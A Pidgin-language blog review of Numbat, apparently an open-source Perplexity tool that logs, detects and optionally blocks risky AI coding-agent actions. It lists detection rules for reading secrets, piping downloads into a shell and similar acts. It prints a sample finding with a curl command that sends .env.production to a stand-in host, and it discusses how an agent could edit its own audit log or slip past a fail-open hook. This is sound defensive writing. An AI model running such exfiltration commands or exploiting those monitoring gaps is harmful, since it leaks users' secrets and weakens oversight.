Numbat: See Wetin Your AI Agent Dey Do

Wetín Numbat be

Numbat dey show you wetin AI agent do for machine wey you own. E dey read hook callbacks and session files wey coding agents already dey produce, normalise dem into one event format, then compare dem with rules wey go trigger for behaviours like reading SSH private key or piping download straight into shell. Perplexity release am as open source under Apache 2.0, and the first tagged release come out on 29 July 2026.

Everything wey dey below come from the project repository and its own documentation, wey dem read on 2 August 2026. Where Perplexity make any claim, this post go talk am so. This no be install tutorial, because the repository only dey a few days old and its commands fit change.

Problem: nobody dey write down wetin agent do

Coding agent wey dey run for your VPS fit run shell commands, read files, write files, and open network connections, all as the user wey you give am. Your shell history no record any of this, because agent no dey type inside your shell. sshd dey log your login only; e no record wetin model decide to do afterwards. /var/log/auth.log dey quiet unless something reach for sudo. Agent dey keep im own transcript, but that file dey inside agent session directory, im format fit change between releases, and agent process itself fit write to am.

So if person ask whether agent read .env.production last Tuesday, the honest answer for most servers be say you no fit know. Na this gap make this project dey exist.

Wetin Perplexity claim say Numbat dey do

README start by describing the tool as “endpoint visibility into AI agent activity, with local detection, optional pre-action blocking, and forensic reconstruction”. For here, endpoint mean the machine wey agent dey run on, no be network appliance wey dey watch am from outside. These na separate capabilities, and each one get different importance.

Detection dey run for the device. Dem write rules for CEL (common expression language), and dem evaluate am locally. E also support multi-step sequence rules and your own rules for YAML. Nothing need comot from the machine before rule fit trigger.

Blocking na optional and e get narrow scope. E work only through synchronous pre-action hooks, for agents wey expose that hook. E dey off until you turn am on.

Reconstruction happen after the event. numbat scan parses session artifacts wey agent don already write to disk, so you fit check activity wey happen before you install anything. The project clearly limit this claim: “At-rest reconstruction no be disk or memory acquisition, and e no fit recover activity wey agent no persist.”

Output na versioned NDJSON (newline delimited JSON) wey cover events, findings, enforcement decisions, indicators, and scan summaries. As of v0.1.2, schema version na 0.2.0. Records go to stdout or local file, and optionally through HTTP go a collector wey you run. E ships as one static Go binary wey dem build without cgo, for macOS, Linux, and Windows on amd64 and arm64. So for Linux VPS, na one file you need, and you no need install runtime first.

Which agents Numbat fit actually see?

The coverage matrix for docs/agent-coverage.md na the authoritative list, and e no equal for every agent. The project talk this one clearly instead of hiding am. Claude Code, Codex, Gemini CLI, Cursor and GitHub Copilot CLI get both artifact scanning and live capture with a pre-action hook. OpenClaw get native plugin from version 2026.7.1 go front. Plenty other entries dey marked deferred. This one mean live hook path dey, but artifact parser no dey. E often happen because that agent dey store history for SQLite with write-ahead log wey no safe to read while the agent still dey run. OpenCode and Cline dey that group when dem read the matrix on 2 August 2026.

Check the row for your agent before you plan anything around this tool, because "supported" get different meaning for almost every line.

How detection dey look

Rules get ids wey tell you wetin dem dey for. secrets.read_private_key dey cover SSH key, AWS credentials, kube config, or package registry login. exec.download_pipe_shell go trigger when output from curl or wget dey pipe enter interpreter. privilege.elevated_shell dey catch request for interactive root shell through sudo, doas, su, or pkexec. impact.cryptomining_launch dey match known miner binaries and image names.

Sequence rules dey join events wey happen inside one session. chain.secret_read_then_egress need secret file read first, followed by command wey carry data commot. README publish the finding below from controlled replay of two Claude Code pre-action callbacks, no be from live incident. We don trim am here to show only the fields wey matter:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Notice say "confidence": "medium" dey inside the record. Also notice wetin the project talk about this whole type of output: "Findings na rule matches, dem no be proof of compromise." Deploy script wey read key, then upload build artifact, go match that same sequence rule. The match correct, but the alarm wrong. Na this be the normal state of every detection tool wey you don ever run.

Blocking dey off by default, and e dey fail open

Every rule wey Numbat releases dey for monitor-only mode. To turn one into blocking rule na deliberate work: copy the rule complete YAML go your own directory, keep the same id, add enforce: true, increase the version, then validate and install that policy.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Now na the part wey decide how much you suppose trust am. Numbat deny na response wey e send back to the agent, and na the agent dey actually refuse the tool call. The enforcement guide talk am clearly about wetin happen when Numbat itself get problem: "Malformed payloads, relevant evaluation errors, panics, and output failures suppress the numbat deny." Hook input get limit of 4 MiB, and oversized input dey follow the same path.

The guide talk clearly too about the limit of deny wey actually land: "Fail-open means numbat withholds its deny response. It does not guarantee that the tool executes: the host may still prompt, deny, time out, or apply another hook or policy."

So enforcement here na guardrail, e no be boundary. If the process crash, Numbat no block the action, because monitor wey dey freeze your agent every time e get problem go uninstall am within one week. The trade-off make sense. Just no build security model wey assume say the deny go always arrive.

Where Numbat fit join wetin you already dey do

Numbat dey run for the endpoint, inside the agent own process tree, and e dey write to ~/.numbat/records.ndjson by default. Agent wey dey run as your user fit read that file. E fit edit am too. Audit trail worth only as much as the isolation around am, so every control wey you already get dey in front of this one, no be behind am.

Give the coding agent disposable VM dey limit wetin bad run fit reach. Use least privilege user for the VPS dey stop the agent from entering files wey e no get reason to open. Keep credentials out of the agent context na wetin make secrets.read_private_key match rare enough to deserve attention when e fire. And the sandbox wey you set up for Claude Code on a VPS still be the thing wey dey contain am. Containment dey limit wetin bad run fit touch, while write down why the code get the shape wey e get dey reduce how often the agent do something surprising enough to make you check the log.

Wetin Numbat add na the record, so send the record go somewhere the agent no fit reach. numbat ship and the HTTP sink dey for that purpose. Copy of the stream for another machine na the difference between ordinary log file and evidence. The event model still carry MCP (model context protocol) fields, so tool calls wey comot through MCP server wey you host for a VPS enter the same stream with local shell commands. This matter because anything wey dey watch only bash no fit see that path. The same blind spot cover SearXNG instance wey you connect as the agent search backend, where the risk enter as untrusted page text wey dey go into the model context, instead of as command wey any rule fit match.

Try am read-only first

Install one pinned version. Go 1.26.5 or newer dey required for go install. The releases page get prebuilt binaries with SHA-256 checksums if you no wan build from source.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents dey find agents wey dem install for the box. numbat scan dey parse the session artifacts wey already dey for disk and print records. The README talk say these commands “no dey install hooks or change agent configuration”. E still talk say numbat “never dey execute agents or commands wey e find for artifacts, and e only dey make outbound requests to configured HTTP sinks”. Scanning dey read-only and e dey redact secrets. Normal record output no dey include complete raw transcript.

Live capture na the next step, and e dey change agent configuration:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all dey write events, findings, indicators, and applicable enforcement decisions to ~/.numbat/records.ndjson. Two cautions come directly from the project. Hooks fit need trust inside the agent before dem fit run at all. You need review that trust again after you change flags like --enforce. And hook status “dey verify configuration, not execution or delivery”. So, healthy status line no be proof say records dey arrive anywhere.

Why repository wey this new no be dependency

Public releases na v0.1.1 for 29 July 2026 and v0.1.2 for 1 August 2026. Repository get 597 stars when dem write this post for 2 August 2026. Numbers wey grow that fast show Perplexity audience, no be how well the code dey hold up. Star mean say person save the page make e check am later.

The version number dey honestly show where this project dey. The v0.1.2 notes mostly na credential redaction fixes, plus case bundle and telemetry normalisation work. Redaction bugs na the kind early defects we expect for tool wey job na to safely read transcripts from other programs. More bugs go still come, because inputs dey come from about twelve agents, and each one dey change im format for im own schedule.

Two practical rules follow from this. Pin the tag, never @latest, for anything wey you keep. And treat am as instrument wey you still dey evaluate, instead of control wey you depend on, at least until record schema stop dey change.

FAQ

Numbat dey block dangerous AI agent commands?

Na only if you choose am, and na best effort basis. Every rule wey Numbat release na monitor only. To block, copy the rule YAML go your own directory, keep the id, add enforce: true, increase the version, then install the hook with --enforce. Even then, the deny na response wey dem pass back to the agent, and na the agent dey refuse the call. The project document fail-open behaviour: malformed payloads, evaluation errors, panics, and output failures all suppress the deny. Use am as guardrail, no be your only boundary.

Which AI agents Numbat support?

Coverage dey differ by agent, and dem list am for docs/agent-coverage.md inside the repository. Claude Code, Codex, Gemini CLI, Cursor, and GitHub Copilot CLI get both artifact scanning and live capture when dem read that page on 2 August 2026. OpenClaw get native plugin from version 2026.7.1. Dem list many other agents with live hook path but no artifact parser yet, usually because their session history dey inside SQLite database wey no safe to read while the agent dey run. Read the row for your agent, because "supported" fit mean different levels for that list.

Agent fit tamper with Numbat records?

Yes, if e dey run as the same user. By default, records dey for ~/.numbat/records.ndjson on the same machine wey the agent dey use. So anything wey get write access to that path fit change or delete dem. Send the stream go collector wey the agent no fit reach, with numbat ship or the HTTP sink, and keep the local file as convenience copy. Na why this tool dey complement isolation, instead of replacing am. Agent wey dey confined inside disposable VM under least privilege user get much less access to its own audit trail.

Numbat ready for production server?

No be as a control wey you go depend on. The first public release na v0.1.1 on 29 July 2026, and v0.1.2 follow on 1 August 2026, so the flags and record schema still dey change. Running numbat agents and numbat scan for one box na read-only and low risk, and e go show you wetin your agents don leave for disk. Installing enforcement hooks for server wey matter na different decision. E need pinned tag and plan for wetin go happen if the hook no behave well.